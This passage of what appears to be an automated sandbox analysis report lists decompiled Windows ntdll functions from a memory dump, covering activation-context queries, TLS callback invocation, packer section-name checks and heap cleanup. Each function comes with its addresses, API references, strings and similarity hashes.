					_t22 = _t169 + 0x14; // 0x0
					_t107 =  *_t22;
					if(_t107 != 0) {
						_t155 = _t155 + 2 + _t107;
					}
					_t23 = _t169 + 0x28; // 0xffffffc4
					_t108 =  *_t23;
					if(_t108 != 0) {
						_t155 = _t155 + 2 + _t108;
					}
					_t24 = _t169 + 0x50; // 0xfffffecc
					_t109 =  *_t24;
					if(_t109 != 0) {
						_t155 = _t155 + 2 + _t109;
					}
					if(_t155 <= _a8) {
						_t162 = _a4;
						_t27 = _t169 + 4; // 0x0
						 *_t162 =  *_t27;
						_t28 = _t162 + 0x58; // 0x59
						_t171 = _t28;
						_t29 = _t169 + 8; // 0xffffff98
						 *((intOrPtr*)(_t162 + 4)) =  *_t29;
						_t31 = _t169 + 0x10; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 8)) =  *_t31;
						_t33 = _t169 + 0x14; // 0x0
						 *((intOrPtr*)(_t162 + 0xc)) =  *_t33;
						_t35 = _t169 + 0x1c; // 0x0
						 *((intOrPtr*)(_t162 + 0x10)) =  *_t35;
						_t37 = _t169 + 0x20; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 0x14)) =  *_t37;
						_t39 = _t169 + 0x24; // 0x0
						 *((intOrPtr*)(_t162 + 0x18)) =  *_t39;
						_t41 = _t169 + 0x28; // 0xffffffc4
						 *((intOrPtr*)(_t162 + 0x1c)) =  *_t41;
						_t43 = _t169 + 0x30; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 0x20)) =  *_t43;
						_t45 = _t169 + 0x34; // 0x0
						 *((intOrPtr*)(_t162 + 0x24)) =  *_t45;
						_t47 = _t169 + 0x38; // 0x6d2b4794
						 *((intOrPtr*)(_t162 + 0x28)) =  *_t47;
						_t49 = _t169 + 0x40; // 0x0
						 *((intOrPtr*)(_t162 + 0x2c)) =  *_t49;
						_t51 = _t169 + 0x44; // 0x6d2b47bb
						 *((intOrPtr*)(_t162 + 0x30)) =  *_t51;
						_t53 = _t169 + 0x48; // 0xffffffe4
						 *((intOrPtr*)(_t162 + 0x34)) =  *_t53;
						_t55 = _t169 + 0x4c; // 0x0
						 *((intOrPtr*)(_t162 + 0x38)) =  *_t55;
						_t57 = _t169 + 0x50; // 0xfffffecc
						 *((intOrPtr*)(_t162 + 0x3c)) =  *_t57;
						 *((intOrPtr*)(_t162 + 0x40)) = 0;
						 *((intOrPtr*)(_t162 + 0x44)) = 0;
						 *((intOrPtr*)(_t162 + 0x48)) = 0;
						 *((intOrPtr*)(_t162 + 0x4c)) = 0;
						_t63 = _t169 + 0x58; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 0x50)) =  *_t63;
						if( *(_t169 + 8) != 0) {
							_t66 = _t169 + 8; // 0xffffff98
							_t67 = _t169 + 0xc; // 0x0
							memcpy(_t171,  *_t67 + _v8,  *_t66);
							_t175 = _t175 + 0xc;
							 *(_a4 + 0x40) = _t171;
							_t71 = _t169 + 8; // 0xffffff98
							_t174 = _t171 +  *_t71;
							 *_t174 = 0;
							_t171 = _t174 + 2;
						}
						if( *(_t169 + 0x14) != 0) {
							_t73 = _t169 + 0x14; // 0x0
							_t74 = _t169 + 0x18; // 0x6d2b4765
							memcpy(_t171,  *_t74 + _v8,  *_t73);
							_t175 = _t175 + 0xc;
							 *(_a4 + 0x44) = _t171;
							_t78 = _t169 + 0x14; // 0x0
							_t173 = _t171 +  *_t78;
							 *_t173 = 0;
							_t171 = _t173 + 2;
						}
						if( *(_t169 + 0x28) != 0) {
							_t80 = _t169 + 0x28; // 0xffffffc4
							_t81 = _t169 + 0x2c; // 0x0
							memcpy(_t171,  *_t81 + _v8,  *_t80);
							_t175 = _t175 + 0xc;
							 *(_a4 + 0x48) = _t171;
							_t85 = _t169 + 0x28; // 0xffffffc4
							_t172 = _t171 +  *_t85;
							 *_t172 = 0;
							_t171 = _t172 + 2;
						}
						if( *(_t169 + 0x50) != 0) {
							_t87 = _t169 + 0x50; // 0xfffffecc
							_t88 = _t169 + 0x54; // 0x0
							memcpy(_t171,  *_t88 + _v8,  *_t87);
							 *(_a4 + 0x4c) = _t171;
							_t92 = _t169 + 0x50; // 0xfffffecc
							 *((short*)(_t171 +  *_t92)) = 0;
						}
						_t128 = _a12;
						if(_t128 != 0) {
							 *_t128 = _t155;
						}
						return 0;
					} else {
						if(_t170 != 0) {
							 *_t170 = _t155;
						}
						return 0xc0000023;
					}
				} else {
					_push( *((intOrPtr*)(_t96 + _t165 + 8)));
					_push(_t167);
					E6D2D5720(0x33, 0, "SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context\n", "RtlpQueryAssemblyInformationActivationContextDetailedInformation");
					return 0xc000000d;
				}
			}

0x6d2d44a0
0x6d2d44a4
0x6d2d44a6
0x6d2d44ad
0x6d2d44b1
0x6d2d44b6
0x6d2d44b8
0x6d2d44b8
0x6d2d44ba
0x6d2d44c1
0x6d2d44c7
0x6d2d44f0
0x6d2d44fa
0x6d2d44fe
0x6d2d4500
0x6d2d4504
0x6d2d4506
0x6d2d4507
0x6d2d450a
0x6d2d450b
0x6d2d450c
0x6d2d450d
0x6d2d4513
0x6d2d4517
0x6d2d4523
0x00000000
0x6d2d4698
0x6d2d4529
0x6d2d4529
0x6d2d452e
0x6d2d4530
0x6d2d4530
0x6d2d4530
0x6d2d4533
0x6d2d4533
0x6d2d4538
0x6d2d453d
0x6d2d453d
0x6d2d453f
0x6d2d453f
0x6d2d4544
0x6d2d4549
0x6d2d4549
0x6d2d454b
0x6d2d454b
0x6d2d4550
0x6d2d4555
0x6d2d4555
0x6d2d455a
0x6d2d456c
0x6d2d456f
0x6d2d4572
0x6d2d4574
0x6d2d4574
0x6d2d4577
0x6d2d457a
0x6d2d457d
0x6d2d4580
0x6d2d4583
0x6d2d4586
0x6d2d4589
0x6d2d458c
0x6d2d458f
0x6d2d4592
0x6d2d4595
0x6d2d4598
0x6d2d459b
0x6d2d459e
0x6d2d45a1
0x6d2d45a4
0x6d2d45a7
0x6d2d45aa
0x6d2d45ad
0x6d2d45b0
0x6d2d45b3
0x6d2d45b6
0x6d2d45b9
0x6d2d45bc
0x6d2d45bf
0x6d2d45c2
0x6d2d45c5
0x6d2d45c8
0x6d2d45cb
0x6d2d45ce
0x6d2d45d3
0x6d2d45d6
0x6d2d45d9
0x6d2d45dc
0x6d2d45df
0x6d2d45e2
0x6d2d45e9
0x6d2d45eb
0x6d2d45ee
0x6d2d45f6
0x6d2d45fe
0x6d2d4601
0x6d2d4606
0x6d2d4606
0x6d2d4609
0x6d2d460c
0x6d2d460c
0x6d2d4613
0x6d2d4615
0x6d2d4618
0x6d2d4620
0x6d2d4628
0x6d2d462b
0x6d2d4630
0x6d2d4630
0x6d2d4633
0x6d2d4636
0x6d2d4636
0x6d2d463d
0x6d2d463f
0x6d2d4642
0x6d2d464a
0x6d2d4652
0x6d2d4655
0x6d2d465a
0x6d2d465a
0x6d2d465d
0x6d2d4660
0x6d2d4660
0x6d2d4667
0x6d2d4669
0x6d2d466c
0x6d2d4674
0x6d2d4681
0x6d2d4684
0x6d2d4687
0x6d2d4687
0x6d2d468b
0x6d2d4690
0x6d2d4692
0x6d2d4692
0x00000000
0x6d2d455c
0x6d2d455e
0x6d2d4560
0x6d2d4560
0x00000000
0x6d2d4562
0x6d2d44c9
0x6d2d44c9
0x6d2d44cd
0x6d2d44db
0x00000000
0x6d2d44e3

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context,RtlpQueryAssemblyInformationActivationContextDetailedInformation,?,?,6D2917F0,00000000,?,?), ref: 6D2D44DB

Part of subcall function 6D271D47: memset.1105(00000000,00000000,6D2917F0,?,00000001,00000000,?,6D248D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6D271D87

memcpy.1105(00000059,-00000F38,FFFFFF98,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6D2917F0,00000000,?,?), ref: 6D2D45F6
memcpy.1105(00000059,-00000F38,00000000,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6D2917F0,00000000,?,?), ref: 6D2D4620
memcpy.1105(00000059,-00000F38,FFFFFFC4,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6D2917F0,00000000,?,?), ref: 6D2D464A
memcpy.1105(00000059,-00000F38,FFFFFECC,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6D2917F0,00000000,?,?), ref: 6D2D4674

Strings

RtlpQueryAssemblyInformationActivationContextDetailedInformation, xrefs: 6D2D44CE
SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context, xrefs: 6D2D44D3

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$Printmemset
String ID: RtlpQueryAssemblyInformationActivationContextDetailedInformation$SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
API String ID: 3378804984-1390252366
Opcode ID: d73791319209541df0d93693d3222d0b709d1cb83752829e83246af4257493d3
Instruction ID: 0fea9679500fb50f7aa0f9ca1e319f4c220c88abd51a87e209eea4f8fba8e8b9
Opcode Fuzzy Hash: d73791319209541df0d93693d3222d0b709d1cb83752829e83246af4257493d3
Instruction Fuzzy Hash: DE81D7B5A4061AAFD754CF29C880A9AB7F4FF08318B154569E918DB701E331F9A2CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 6D250C30, Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E6D250C30(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t20;
				void* _t24;
				void* _t27;
				intOrPtr _t29;
				void* _t37;
				intOrPtr* _t40;
				intOrPtr* _t42;
				signed int _t43;
				void* _t44;
				intOrPtr _t45;

				_t30 = __ecx;
				_push(0xfffffffe);
				_push(0x6d31f8f8);
				_push(0x6d2917f0);
				_push( *[fs:0x0]);
				_t45 = _t44 - 0x18;
				_push(_t27);
				_t20 =  *0x6d33d360;
				_v12 = _v12 ^ _t20;
				_push(_t20 ^ _t43);
				 *[fs:0x0] =  &_v20;
				_v28 = _t45;
				_t37 = __edx;
				_v32 = __ecx;
				E6D26FAD0(0x6d338550);
				_t40 =  *0x6d335368; // 0x6d335368
				if(_t40 == 0x6d335368) {
					L3:
					_t40 = 0;
					L4:
					_t24 = E6D26FA00(_t27, _t30, _t37, 0x6d338550);
					if(_t40 == 0) {
						L9:
						 *[fs:0x0] = _v20;
						return _t24;
					}
					_t42 =  *((intOrPtr*)(_t40 + 0x14));
					if(_t42 == 0) {
						goto L9;
					}
					_v8 = 0;
					while(1) {
						_t29 =  *_t42;
						if(_t29 == 0) {
							break;
						}
						_v36 = _t29;
						_t42 = _t42 + 4;
						_v40 = _t42;
						__eflags =  *0x6d335780 & 0x00000005;
						if(__eflags != 0) {
							_push( *((intOrPtr*)(_t37 + 0x18)));
							_t18 = _t37 + 0x24; // 0xcf
							E6D2C5510("minkernel\\ntdll\\ldrtls.c", 0x425, "LdrpCallTlsInitializers", 2, "Calling TLS callback %p for DLL \"%wZ\" at %p\n", _t29);
							_t45 = _t45 + 0x20;
						}
						_push(0);
						_push(_v32);
						_t24 = E6D25FC01(_t29, _t29,  *((intOrPtr*)(_t37 + 0x18)), _t37, _t42, __eflags);
					}
					_v8 = 0xfffffffe;
					goto L9;
				}
				while( *((intOrPtr*)(_t40 + 0x20)) != _t37) {
					_t40 =  *_t40;
					if(_t40 != 0x6d335368) {
						continue;
					}
					goto L3;
				}
				goto L4;
			}

0x6d250c30
0x6d250c35
0x6d250c37
0x6d250c3c
0x6d250c47
0x6d250c48
0x6d250c4b
0x6d250c4e
0x6d250c53
0x6d250c58
0x6d250c5c
0x6d250c62
0x6d250c65
0x6d250c67
0x6d250c6f
0x6d250c74
0x6d250c80
0x6d250c91
0x6d250c91
0x6d250c93
0x6d250c98
0x6d250c9f
0x6d250cbd
0x6d250cc0
0x6d250cce
0x6d250cce
0x6d250ca1
0x6d250ca6
0x00000000
0x00000000
0x6d250ca8
0x6d250cb0
0x6d250cb0
0x6d250cb4
0x00000000
0x00000000
0x6d250ccf
0x6d250cd2
0x6d250cd5
0x6d250cd8
0x6d250cdf
0x6d2a6424
0x6d2a6427
0x6d2a6442
0x6d2a6447
0x6d2a6447
0x6d250ce5
0x6d250ce7
0x6d250cef
0x6d250cef
0x6d250cb6
0x00000000
0x6d250cb6
0x6d250c82
0x6d250c87
0x6d250c8f
0x00000000
0x00000000
0x00000000
0x6d250c8f
0x00000000

APIs

RtlAcquireSRWLockShared.1105(6D338550,?,?,00000000,000000FF,6D31F868,00000038,6D24F563), ref: 6D250C6F
RtlReleaseSRWLockShared.1105(6D338550,6D338550,?,?,00000000,000000FF,6D31F868,00000038,6D24F563), ref: 6D250C98

Strings

hS3m, xrefs: 6D250C7A
hS3m, xrefs: 6D250C89
minkernel\ntdll\ldrtls.c, xrefs: 6D2A643D
Calling TLS callback %p for DLL "%wZ" at %p, xrefs: 6D2A642C
LdrpCallTlsInitializers, xrefs: 6D2A6433

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease
String ID: Calling TLS callback %p for DLL "%wZ" at %p$LdrpCallTlsInitializers$hS3m$hS3m$minkernel\ntdll\ldrtls.c
API String ID: 2614130328-4287729331
Opcode ID: a9902b6d6564fb0c3068e3aa40d9bb33d9ba10a00ab589f3afed9e346ad62988
Instruction ID: f2ccda4ec6d71ebc0b37589ef463a197b7415230c6aeab2d07c883d67da098d3
Opcode Fuzzy Hash: a9902b6d6564fb0c3068e3aa40d9bb33d9ba10a00ab589f3afed9e346ad62988
Instruction Fuzzy Hash: 1E21B572D8475EABCB20CF558E81F7AB7B4FB45729F124629E81163681D330AC1097A1

Uniqueness

Uniqueness Score: -1.00%

Function 6D2441F7, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D2441F7(intOrPtr __ecx) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				int _t26;
				int _t31;
				int _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				void* _t37;
				intOrPtr _t39;
				void* _t40;
				char* _t42;
				void* _t43;
				int _t49;

				_t33 = __ecx;
				_v12 = __ecx;
				E6D25E9C0(3,  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v8);
				_t40 = 0;
				_t34 = _v8;
				_v16 =  *((intOrPtr*)(_t33 + 0x1c));
				_t42 = _t34 + 0x18 + ( *(_t34 + 0x14) & 0x0000ffff);
				if(0 >=  *(_t34 + 6)) {
					L8:
					return 0;
				} else {
					goto L1;
				}
				do {
					L1:
					if(_t42[0xc] != 0 && _t42[8] != 0) {
						_t26 = strncmp(_t42, ".aspack", 8);
						_t43 = _t43 + 0xc;
						if(_t26 == 0) {
							L11:
							_t39 = _v16;
							_t37 = _t42[0xc] +  *((intOrPtr*)(_v12 + 0x18));
							if(_t39 >= _t37 && _t39 <= _t42[8] + _t37) {
								L6:
								if(_t49 == 0) {
									return 1;
								}
							}
							goto L7;
						}
						_t31 = strncmp(_t42, ".pcle", 6);
						_t43 = _t43 + 0xc;
						if(_t31 == 0) {
							goto L11;
						}
						_t32 = strncmp(_t42, ".sforce", 8);
						_t43 = _t43 + 0xc;
						_t49 = _t32;
						goto L6;
					}
					L7:
					_t40 = _t40 + 1;
					_t42 =  &(_t42[0x28]);
				} while (_t40 < ( *(_t34 + 6) & 0x0000ffff));
				goto L8;
			}

0x6d244205
0x6d24420f
0x6d244214
0x6d24421c
0x6d24421e
0x6d244221
0x6d24422b
0x6d244233
0x6d244291
0x00000000
0x00000000
0x00000000
0x00000000
0x6d244235
0x6d244235
0x6d244239
0x6d244249
0x6d24424e
0x6d244253
0x6d2a064c
0x6d2a0652
0x6d2a0655
0x6d2a065a
0x6d244283
0x6d244283
0x00000000
0x6d24429a
0x6d244283
0x00000000
0x6d2a065a
0x6d244261
0x6d244266
0x6d24426b
0x00000000
0x00000000
0x6d244279
0x6d24427e
0x6d244281
0x00000000
0x6d244281
0x6d244285
0x6d244289
0x6d24428a
0x6d24428d
0x00000000

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,?,?,00000000), ref: 6D244214
strncmp.1105(?,.aspack,00000008,00000003,?,00000000,00000000,?,?,?,00000000), ref: 6D244249
strncmp.1105(?,.pcle,00000006,?,?,00000000), ref: 6D244261
strncmp.1105(?,.sforce,00000008,?,?,?,?,?,00000000), ref: 6D244279

Strings

.pcle, xrefs: 6D24425B
.aspack, xrefs: 6D244243
.sforce, xrefs: 6D244273

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: strncmp$HeaderImage
String ID: .aspack$.pcle$.sforce
API String ID: 3137002299-3067156003
Opcode ID: 0f39206649949f54bc6a9452305b175f657777ed490f883c457d9ac65b7ce585
Instruction ID: ab8d63cdb68f43dd66f013dca710080366b96623c67e257dd5207eb8229ed73a
Opcode Fuzzy Hash: 0f39206649949f54bc6a9452305b175f657777ed490f883c457d9ac65b7ce585
Instruction Fuzzy Hash: 1D212E31BC021E67E714CF96DD81F6F73A9EF58705F00C065ED4896246E770D992CA91

Uniqueness

Uniqueness Score: -1.00%

Function 6D25EC7F, Relevance: 12.3, APIs: 8, Instructions: 256
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6D25EC7F(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t65;
				intOrPtr* _t67;
				intOrPtr _t69;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t75;
				intOrPtr _t76;
				signed int _t77;
				void* _t78;
				intOrPtr _t80;
				signed int _t81;
				void* _t83;
				void* _t85;
				intOrPtr _t90;
				void* _t91;
				void* _t96;
				void _t99;
				intOrPtr* _t104;
				intOrPtr* _t106;
				unsigned int _t112;
				unsigned int _t114;
				intOrPtr* _t115;
				void* _t118;
				intOrPtr _t120;
				unsigned int _t122;
				unsigned int _t124;
				intOrPtr* _t125;
				intOrPtr* _t129;
				intOrPtr* _t134;
				intOrPtr* _t136;
				void* _t138;
				signed int* _t140;
				void* _t141;
				void* _t143;
				void* _t146;
				intOrPtr _t148;
				void* _t149;
				void* _t151;
				void* _t153;

				_push(_t96);
				_t146 = __ecx;
				_push(_t138);
				_t65 =  *(__ecx + 0x50);
				if( *((intOrPtr*)(_t65 + 0xc)) == 0xffffffff) {
					L3:
					return _t65;
				} else {
					_t65 =  *_t65;
					if(( *(_t65 - 0x20) & 0x00000020) != 0) {
						goto L3;
					} else {
						_t65 = _t65 | 0xffffffff;
						asm("lock xadd [esi+0x9c], eax");
						if(_t65 == 0) {
							E6D262280(_t65, 0x6d3384d8);
							_t67 = _t146 + 0x54;
							_t120 =  *_t67;
							if( *((intOrPtr*)(_t120 + 4)) != _t67) {
								L15:
								_push(3);
								asm("int 0x29");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(0x30);
								_push(0x6d31fb78);
								E6D29D08C(_t96, _t138, _t146);
								_t148 =  *((intOrPtr*)(_t153 + 8));
								if(_t148 == 0) {
									L60:
									_t69 = 0xc000000d;
								} else {
									_t140 =  *(_t153 + 0x14);
									if(_t140 == 0) {
										goto L60;
									} else {
										 *((intOrPtr*)(_t153 - 4)) = 0;
										if( *((intOrPtr*)(_t153 + 0xc)) >= 0x10000) {
											_t122 =  *(_t148 + 0x58) >> 1;
											 *(_t153 - 0x20) = _t122;
											_t104 =  *((intOrPtr*)(_t148 + 0x54)) + _t148;
											 *((intOrPtr*)(_t153 - 0x1c)) = _t104;
											if(_t104 <= 0x10000) {
												L38:
												if( *_t104 == 0) {
													goto L55;
												} else {
													_t72 = 1;
													if(_t122 <= 0) {
														goto L55;
													}
												}
											} else {
												while(_t122 > 0) {
													if( *_t104 == 0) {
														L55:
														_t72 = 0;
													} else {
														_t78 = E6D28E490( *((intOrPtr*)(_t153 + 0xc)), _t104);
														_t104 =  *((intOrPtr*)(_t153 - 0x1c));
														if(_t78 != 0) {
															_t129 = _t104;
															_t54 = _t129 + 2; // 0x22
															 *((intOrPtr*)(_t153 - 0x2c)) = _t54;
															do {
																_t80 =  *_t129;
																_t129 = _t129 + 2;
															} while (_t80 != 0);
															_t81 = (_t129 -  *((intOrPtr*)(_t153 - 0x2c)) >> 1) + 1;
															_t104 = _t104 + _t81 * 2;
															 *((intOrPtr*)(_t153 - 0x1c)) = _t104;
															_t122 =  *(_t153 - 0x20) - _t81;
															 *(_t153 - 0x20) = _t122;
															continue;
														} else {
															_t122 =  *(_t153 - 0x20);
															goto L38;
														}
													}
													goto L40;
												}
												goto L38;
											}
											L40:
											if(_t72 == 0) {
												 *_t140 =  *_t140 | 0x00040000;
											}
											_t124 =  *(_t148 + 0x68) >> 1;
											 *(_t153 - 0x28) = _t124;
											_t106 =  *((intOrPtr*)(_t148 + 0x64)) + _t148;
											 *((intOrPtr*)(_t153 - 0x24)) = _t106;
											if(_t106 <= 0x10000) {
												L57:
												if( *_t106 == 0 || _t124 <= 0) {
													goto L30;
												} else {
													_t73 = 1;
												}
											} else {
												while(_t124 > 0) {
													if( *_t106 == 0) {
														L30:
														_t73 = 0;
													} else {
														_t75 = E6D28E490( *((intOrPtr*)(_t153 + 0xc)), _t106);
														_t106 =  *((intOrPtr*)(_t153 - 0x24));
														if(_t75 == 0) {
															_t124 =  *(_t153 - 0x28);
															goto L57;
														} else {
															_t125 = _t106;
															_t47 = _t125 + 2; // 0xc00000e7
															_t149 = _t47;
															do {
																_t76 =  *_t125;
																_t125 = _t125 + 2;
															} while (_t76 != 0);
															_t48 = (_t125 - _t149 >> 1) + 1; // 0xc00000e4
															_t77 = _t48;
															_t106 = _t106 + _t77 * 2;
															 *((intOrPtr*)(_t153 - 0x24)) = _t106;
															_t124 =  *(_t153 - 0x28) - _t77;
															 *(_t153 - 0x28) = _t124;
															continue;
														}
													}
													goto L31;
												}
												goto L57;
											}
											L31:
											if(_t73 != 0) {
												goto L28;
											} else {
												goto L32;
											}
											goto L63;
										} else {
											_t112 =  *(_t148 + 0x60) >> 2;
											 *(_t153 - 0x30) = _t112;
											_t134 =  *((intOrPtr*)(_t148 + 0x5c)) + _t148;
											 *((intOrPtr*)(_t153 - 0x34)) = _t134;
											while(1) {
												_t112 = _t112 - 1;
												 *(_t153 - 0x30) = _t112;
												if(_t112 < 0) {
													break;
												}
												_t85 =  *((intOrPtr*)(_t153 + 0xc)) -  *_t134;
												_t134 = _t134 + 4;
												 *((intOrPtr*)(_t153 - 0x34)) = _t134;
												if(_t85 != 0) {
													continue;
												}
												break;
											}
											if(_t112 < 0) {
												 *_t140 =  *_t140 | 0x00040000;
											}
											_t114 =  *(_t148 + 0x70) >> 2;
											 *(_t153 - 0x38) = _t114;
											_t136 =  *((intOrPtr*)(_t148 + 0x6c)) + _t148;
											 *((intOrPtr*)(_t153 - 0x3c)) = _t136;
											while(1) {
												_t114 = _t114 - 1;
												 *(_t153 - 0x38) = _t114;
												if(_t114 < 0) {
													break;
												}
												_t83 =  *((intOrPtr*)(_t153 + 0xc)) -  *_t136;
												_t136 = _t136 + 4;
												 *((intOrPtr*)(_t153 - 0x3c)) = _t136;
												if(_t83 != 0) {
													continue;
												}
												break;
											}
											if(_t114 < 0) {
												L32:
												 *_t140 =  *_t140 | 0x00020000;
											}
										}
										L28:
										 *((intOrPtr*)(_t153 - 4)) = 0xfffffffe;
										_t69 = 0;
									}
								}
								return E6D29D0D1(_t69);
							} else {
								_t115 =  *((intOrPtr*)(_t67 + 4));
								if( *_t115 != _t67) {
									goto L15;
								} else {
									 *_t115 = _t120;
									 *((intOrPtr*)(_t120 + 4)) = _t115;
									_t141 =  *(_t146 + 0x50);
									_t99 =  *_t141;
									E6D25FFB0(_t99, _t141, 0x6d3384d8);
									if( *((intOrPtr*)(_t146 + 0x3a)) != 0) {
										E6D2837F5(_t146, 0);
									}
									E6D280413(_t146);
									_t90 =  *((intOrPtr*)(_t146 + 0x48));
									if(_t90 != 0) {
										if(_t90 != 0xffffffff) {
											E6D279B10(_t90);
										}
									}
									if( *((intOrPtr*)(_t146 + 0x28)) != 0) {
										E6D2702D6(_t146 + 0x24);
									}
									_t65 = RtlFreeHeap( *0x6d337b98, 0, _t146);
									if(_t99 != _t141) {
										goto L3;
									} else {
										_t118 = _t141;
										_pop(_t142);
										_pop(_t150);
										_t143 = _t118;
										_t91 =  *(_t143 + 8);
										if(_t91 != 0) {
											do {
												_t151 =  *_t91;
												RtlFreeHeap( *0x6d337b98, 0, _t91);
												_t91 = _t151;
											} while (_t151 != 0);
										}
										return RtlFreeHeap( *0x6d337b98, 0, _t143);
									}
								}
							}
						} else {
							goto L3;
						}
					}
				}
				L63:
			}

0x6d25ec81
0x6d25ec83
0x6d25ec85
0x6d25ec86
0x6d25ec8d
0x6d25eca4
0x6d25eca7
0x6d25ec8f
0x6d25ec8f
0x6d25ec95
0x00000000
0x6d25ec97
0x6d25ec97
0x6d25ec9a
0x6d25eca2
0x6d25ecad
0x6d25ecb2
0x6d25ecb5
0x6d25ecba
0x6d25ed2f
0x6d25ed2f
0x6d25ed32
0x6d25ed34
0x6d25ed35
0x6d25ed36
0x6d25ed37
0x6d25ed38
0x6d25ed39
0x6d25ed3a
0x6d25ed3b
0x6d25ed3c
0x6d25ed3d
0x6d25ed3e
0x6d25ed3f
0x6d25ed40
0x6d25ed42
0x6d25ed47
0x6d25ed4e
0x6d25ed53
0x6d2abaf2
0x6d2abaf2
0x6d25ed59
0x6d25ed59
0x6d25ed5e
0x00000000
0x6d25ed64
0x6d25ed64
0x6d25ed6f
0x6d25edf1
0x6d25edf3
0x6d25edf9
0x6d25edfb
0x6d25ee00
0x6d25ee28
0x6d25ee2b
0x00000000
0x6d25ee31
0x6d25ee33
0x6d25ee35
0x00000000
0x00000000
0x6d25ee35
0x6d25ee02
0x6d25ee02
0x6d25ee09
0x6d2abaae
0x6d2abaae
0x6d25ee0f
0x6d25ee13
0x6d25ee1a
0x6d25ee1f
0x6d25eea9
0x6d25eeab
0x6d25eeae
0x6d25eeb1
0x6d25eeb1
0x6d25eeb4
0x6d25eeb7
0x6d25eec1
0x6d25eec4
0x6d25eec7
0x6d25eecd
0x6d25eecf
0x00000000
0x6d25ee25
0x6d25ee25
0x00000000
0x6d25ee25
0x6d25ee1f
0x00000000
0x6d25ee09
0x00000000
0x6d25ee02
0x6d25ee3b
0x6d25ee3d
0x6d2abab5
0x6d2abab5
0x6d25ee46
0x6d25ee48
0x6d25ee4e
0x6d25ee50
0x6d25ee59
0x6d2abac0
0x6d2abac3
0x00000000
0x6d2abad1
0x6d2abad3
0x6d2abad3
0x6d25ee5f
0x6d25ee5f
0x6d25ee6a
0x6d25ede0
0x6d25ede0
0x6d25ee70
0x6d25ee74
0x6d25ee7b
0x6d25ee80
0x6d25eed7
0x00000000
0x6d25ee82
0x6d25ee82
0x6d25ee84
0x6d25ee84
0x6d25ee87
0x6d25ee87
0x6d25ee8a
0x6d25ee8d
0x6d25ee96
0x6d25ee96
0x6d25ee99
0x6d25ee9c
0x6d25eea2
0x6d25eea4
0x00000000
0x6d25eea4
0x6d25ee80
0x00000000
0x6d25ee6a
0x00000000
0x6d25ee5f
0x6d25ede2
0x6d25ede4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d25ed71
0x6d25ed74
0x6d25ed77
0x6d25ed7d
0x6d25ed7f
0x6d25ed82
0x6d25ed82
0x6d25ed85
0x6d25ed88
0x00000000
0x00000000
0x6d25ed8d
0x6d25ed8f
0x6d25ed92
0x6d25ed97
0x00000000
0x00000000
0x00000000
0x6d25ed97
0x6d25ed9b
0x6d25ed9d
0x6d25ed9d
0x6d25eda6
0x6d25eda9
0x6d25edaf
0x6d25edb1
0x6d25edb4
0x6d25edb4
0x6d25edb7
0x6d25edba
0x00000000
0x00000000
0x6d25edbf
0x6d25edc1
0x6d25edc4
0x6d25edc9
0x00000000
0x00000000
0x00000000
0x6d25edc9
0x6d25edcd
0x6d25ede6
0x6d25ede6
0x6d25ede6
0x6d25edcd
0x6d25edcf
0x6d25edcf
0x6d25edd6
0x6d25edd6
0x6d25ed5e
